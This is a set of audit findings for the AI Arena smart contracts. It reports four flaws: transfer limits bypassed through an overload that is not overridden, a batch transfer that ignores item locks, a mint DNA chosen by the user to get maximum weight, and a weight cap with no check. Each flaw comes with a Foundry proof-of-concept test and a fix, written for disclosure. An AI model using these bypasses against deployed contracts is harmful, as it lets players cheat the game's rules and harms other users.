AI Arena - Tendency's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545

Vulnerability details

Impact

FighterFarm contract has the private function _ableToTransfer, this function is used to prevent the transfer of fighters to addresses that now have up to the maximum allowed fighters, and also to prevent transfer when the fighter to be transferred is staked.

The only problem here is that, only one of the inherited ERC721::safeTransferFrom functions is overridden.

    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, "");
    }

This thus gives room for fighter transfers to addresses with more than the maximum allowed fighters and also the ability to still transfer a fighter even when the fighter has been staked.

Proof of Concept

Please add the below to FighterFarm.sol

    uint public id;

    function mint(uint times, address to) public {
        for (uint i = 0; i < times; i++) {
            id++;
            _safeMint(to, id);
        }
    }

then add the below test to test/FighterFarm.t.sol

<details> <summary><b>Click to expand</b></summary>

 function testAATransfer() public {
        address bob = address(0xBABE);

        _fighterFarmContract.addStaker(_ownerAddress);
        _fighterFarmContract.updateFighterStaking(1, true);
        assertEq(_fighterFarmContract.fighterStaked(1), true);

        _fighterFarmContract.mint(1, _ownerAddress);

        //test that transfer still succeeds while the fighter with id 1 is staked
        _fighterFarmContract.safeTransferFrom(_ownerAddress, bob, 1, "");

        assertEq(_fighterFarmContract.balanceOf(bob), 1);
        assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 0);

        _fighterFarmContract.mint(10, bob);
        _fighterFarmContract.mint(1, _ownerAddress);

        assertEq(
            _fighterFarmContract.ownerOf(_fighterFarmContract.id()),
            _ownerAddress
        );

        //with fighters above maximum which is 10, bob is expected to not be able to receive any more fighter via any transfer
        assertEq(_fighterFarmContract.balanceOf(bob), 11);
        _fighterFarmContract.safeTransferFrom(
            _ownerAddress,
            bob,
            _fighterFarmContract.id(),
            ""
        );
        assertEq(_fighterFarmContract.ownerOf(_fighterFarmContract.id()), bob);
        assertEq(_fighterFarmContract.balanceOf(bob), 12);
    }

</details>

and then run:

forge test -vvv --match-path test/FighterFarm.t.sol --match-test testAATransfer

Tools Used

Manual Review & Foundry

Recommended Mitigation Steps

Add the below function to FighterFarm.sol contract:

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) public override(ERC721, IERC721) {
        require(_ableToTransfer(tokenId, to), "errror message");
        _safeTransfer(from, to, tokenId, data);
    }

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L304

Vulnerability details

Impact

When an admin creates a game item via GameItems::createGameItem, this item can be marked as transferrable or untransferrable, i.e (transferrable = true | false). The transferability can also later be adjusted via GameItems::adjustTransferability by the contract owner.

When the game item is not transferrable(transferrable = false), all transfer attempts, i.e calls to GameItems::safeTransferFrom are expected to fail, due to the check here:

 require(allGameItemAttributes[tokenId].transferable);

The only problem here is that, even when the game item is marked as locked, i.e. not transferrable, the derived ERC1155::safeBatchTransferFrom can still be used to carry out this transfer

Proof of Concept

I have shown how this can be done in the below test.

• Please add the below to test/GameItems.t.sol

<details> <summary><b>Click to expand</b></summary>

    function testsafeBatchTransferFrom() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(0, 1);
        _gameItemsContract.adjustTransferability(0, false);
        uint256[] memory ids = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);

        ids[0] = 0;
        amounts[0] = 1;

        _gameItemsContract.safeBatchTransferFrom(
            _ownerAddress,
            _DELEGATED_ADDRESS,
            ids,
            amounts,
            ""
        );
        //confirm that the transfer succeeded
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
    }

</details>

and then run:

forge test -vvv --match-path test/GameItems.t.sol --match-test testsafeBatchTransferFrom

Tools Used

Manual Review & Foundry

Recommended Mitigation Steps

Override the safeBatchTransferFrom function as well.

• Add the below function to GameItems.sol:

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public override(ERC1155) {
        for (uint tokenId; tokenId < ids.length; tokenId++) {
            require(
                allGameItemAttributes[tokenId].transferable,
                "transfer locked"
            );
        }

        super.safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262

Vulnerability details

Impact

FighterFarm::redeemMintPass function allows owners who have earned mint passes to burn them in exchange for fighter NFTs.

The problem here is, unlike other fighter creation methods where the dna is determined based on the hash of the sender and the current fighters length, the created dna in redeemMintPass is generated based on a user-provided mintPassDna string, since the attributes, weights and elements are all derived from the dna, a fighter owner can pass in a string that guarantees an expected fighter trait. For example: the mintPassDna "test", will always create a fighter with the maximum possible weight(95). Since the more weight a fighter has, the stronger the fighter, this will give the fighter owner a competitive advantage. They could create different fighters with the unique traits they desire. Note that, fighters are meant to be created with random traits. For owners who don't like their fighter traits, they can then go on to pay some NRN to reroll the player and hope for better traits

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391

Proof of Concept

The test below shows how the use of the mintPassDna "test" will always create a fighter with the maximum possible weight.

Please add the below to test/FighterFarm.t.sol

<details> <summary><b>Click to expand</b></summary>

    function testWeight() public {
        uint8[2] memory numToMint = [1, 0];
        bytes memory signature = abi.encodePacked(
            hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
        );
        string[] memory _tokenURIs = new string[](1);
        _tokenURIs[
            0
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        // first i have to mint an nft from the mintpass contract
        assertEq(_mintPassContract.mintingPaused(), false);
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
        assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

        // once owning one I can then redeem it for a fighter
        uint256[] memory _mintpassIdsToBurn = new uint256[](1);
        string[] memory _mintPassDNAs = new string[](1);
        uint8[] memory _fighterTypes = new uint8[](1);
        uint8[] memory _iconsTypes = new uint8[](1);
        string[] memory _neuralNetHashes = new string[](1);
        string[] memory _modelTypes = new string[](1);

        _mintpassIdsToBurn[0] = 1;
        _mintPassDNAs[0] = "test"; //the magic string, always gives a weight of 95
        _fighterTypes[0] = 0;
        _neuralNetHashes[0] = "neuralnethash";
        _modelTypes[0] = "original";
        _iconsTypes[0] = 1;

        // approve the fighterfarm contract to burn the mintpass
        _mintPassContract.approve(address(_fighterFarmContract), 1);

        _fighterFarmContract.redeemMintPass(
            _mintpassIdsToBurn,
            _fighterTypes,
            _iconsTypes,
            _mintPassDNAs,
            _neuralNetHashes,
            _modelTypes
        );

        // check balance to see if we successfully redeemed the mintpass for a fighter
        assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
        // check balance to see if the mintpass was burned
        assertEq(_mintPassContract.balanceOf(_ownerAddress), 0);
        (address owner, , uint256 weight, , , , ) = _fighterFarmContract
            .getAllFighterInfo(0);
        assertEq(owner == _fighterFarmContract.ownerOf(0), true);
        //the fighter's weight will always be 95 whenever the string "test" is used
        assertEq(weight, 95);
    }

</details>

and then run:

forge test -vvv --match-path test/FighterFarm.t.sol --match-test testWeight

The test below shows how the use of the mintPassDna "apple", will always create a fighter with the element 1.

Please add the below to test/FighterFarm.t.sol

<details> <summary><b>Click to expand</b></summary>

    function testElement() public {
        uint8[2] memory numToMint = [1, 0];
        bytes memory signature = abi.encodePacked(
            hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
        );
        string[] memory _tokenURIs = new string[](1);
        _tokenURIs[
            0
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        // first i have to mint an nft from the mintpass contract
        assertEq(_mintPassContract.mintingPaused(), false);
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
        assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

        // once owning one i can then redeem it for a fighter
        uint256[] memory _mintpassIdsToBurn = new uint256[](1);
        string[] memory _mintPassDNAs = new string[](1);
        uint8[] memory _fighterTypes = new uint8[](1);
        uint8[] memory _iconsTypes = new uint8[](1);
        string[] memory _neuralNetHashes = new string[](1);
        string[] memory _modelTypes = new string[](1);

        _mintpassIdsToBurn[0] = 1;
        _mintPassDNAs[0] = "apple";
        /*
        this will dependis on the element the fighter owner wants
        "cherry" will give the element 2
        and "bannggggana" the element 0
        */

        _fighterTypes[0] = 0;
        _neuralNetHashes[0] = "neuralnethash";
        _modelTypes[0] = "original";
        _iconsTypes[0] = 1;

        // approve the fighterfarm contract to burn the mintpass
        _mintPassContract.approve(address(_fighterFarmContract), 1);

        _fighterFarmContract.redeemMintPass(
            _mintpassIdsToBurn,
            _fighterTypes,
            _iconsTypes,
            _mintPassDNAs,
            _neuralNetHashes,
            _modelTypes
        );

        // check balance to see if we successfully redeemed the mintpass for a fighter
        assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
        // check balance to see if the mintpass was burned
        assertEq(_mintPassContract.balanceOf(_ownerAddress), 0);
        (address owner, , , uint256 element, , , ) = _fighterFarmContract
            .getAllFighterInfo(0);
        assertEq(owner == _fighterFarmContract.ownerOf(0), true);
        //the element should be as already calculated
        assertEq(element, 1);
    }

</details> and then run: ``` forge test -vvv --match-path test/FighterFarm.t.sol --match-test testElement ```

Tools Used

Manual Review & Foundry

Recommended Mitigation Steps

Change FighterFarm::redeemMintPass function to:

     function redeemMintPass(
        uint256[] calldata mintpassIdsToBurn,
        uint8[] calldata fighterTypes,
        uint8[] calldata iconsTypes,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) external {
        require(
            mintpassIdsToBurn.length == fighterTypes.length &&
                fighterTypes.length == modelHashes.length &&
                modelHashes.length == modelTypes.length
        );
        for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
            require(
                msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])
            );
            _mintpassInstance.burn(mintpassIdsToBurn[i]);
            _createNewFighter(
                msg.sender,
+                uint256(keccak256(abi.encode(msg.sender, fighters.length))), //<--- @
                modelHashes[i],
                modelTypes[i],
                fighterTypes[i],
                iconsTypes[i],
                [uint256(100), uint256(100)]
            );
        }
    }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L313-L331

Vulnerability details

Impact

In MergingPool, selected winners of a particular round can claim a fighter by calling MergingPool::claimRewards function, this function checks if the calling address is amongst the winners of that round, and if yes, goes on to call FighterFarm::mintFromMergingPool function. The problem here is, the input customAttributes, which holds the element and the weight is left unchecked, before we proceed, let's understand what the weight is:

• According to the docs:

Weight - The relative composition of the metal alloy determines a fighter’s weight in the game. A fighter’s weight is the primary determinant of its other relative strength and weaknesses (i.e. all other battle attributes are a function of weight). Additionally, it is used to calculate how far the fighter moves when being knocked back.

Thus, the higher the weight, the stronger the fighter. The current set max weight is 95:

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L471

With the input weight unchecked, the owner can create a fighter with a weight above the set max weight, i.e. 100, this will give the owner a competitive advantage over other fighters since his fighter will be way stronger than the rest.

Proof of Concept

I have shown how feasible this is, in the below test. Please add the below to test/MergingPool.t.sol

<details> <summary><b>Click to expand</b></summary>

    function testCreateFighterAboveMax() public {
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;
        // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);
        assertEq(_mergingPoolContract.isSelectionComplete(0), true);
        assertEq(
            _mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress,
            true
        );
        // winner matches ownerOf tokenId
        assertEq(
            _mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS,
            true
        );
        string[] memory _modelURIs = new string[](2);
        _modelURIs[
            0
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[
            1
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(100); //max weight is 95, but can go above the limit
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(100);
        // winners of roundId 1 are picked
        _mergingPoolContract.pickWinner(_winners);

        // winner claims rewards for previous roundIds
        _mergingPoolContract.claimRewards(
            _modelURIs,
            _modelTypes,
            _customAttributes
        );

        //since the next fighter id will be 2
        (, , uint256 weight, , , , ) = _fighterFarmContract.getAllFighterInfo(
            2
        );
        (, , uint256 weightt, , , , ) = _fighterFarmContract.getAllFighterInfo(
            3
        );
        //should have successfully created a fighter with a weight above the max weight of 95
        assertEq(weight, 100);
        assertEq(weightt, 100);

        uint256 numRewards = _mergingPoolContract.getUnclaimedRewards(
            _ownerAddress
        );
        //should have no unclaimed rewards
        assertEq(numRewards, 0);
    }

</details>

and then run:

forge test -vvv --match-path test/MergingPool.t.sol --match-test testCreateFighterAboveMax

Tools Used

Manual Review & Foundry

Recommended Mitigation Steps

update FighterFarm::_createNewFighter, to ensure the input weight falls within the acceptable weight

    function _createNewFighter(
        address to,
        uint256 dna,
        string memory modelHash,
        string memory modelType,
        uint8 fighterType,
        uint8 iconsType,
        uint256[2] memory customAttributes
    ) private {
        require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
        uint256 element;
        uint256 weight;
        uint256 newDna;
        if (customAttributes[0] == 100) {
            (element, weight, newDna) = _createFighterBase(dna, fighterType);
        } else {
            element = customAttributes[0];
            weight = customAttributes[1];
            newDna = dna;
+            require(weight <= 95, "invalid weight"); //<--- @
        }
      ......................................

    }

Assessed type

Invalid Validation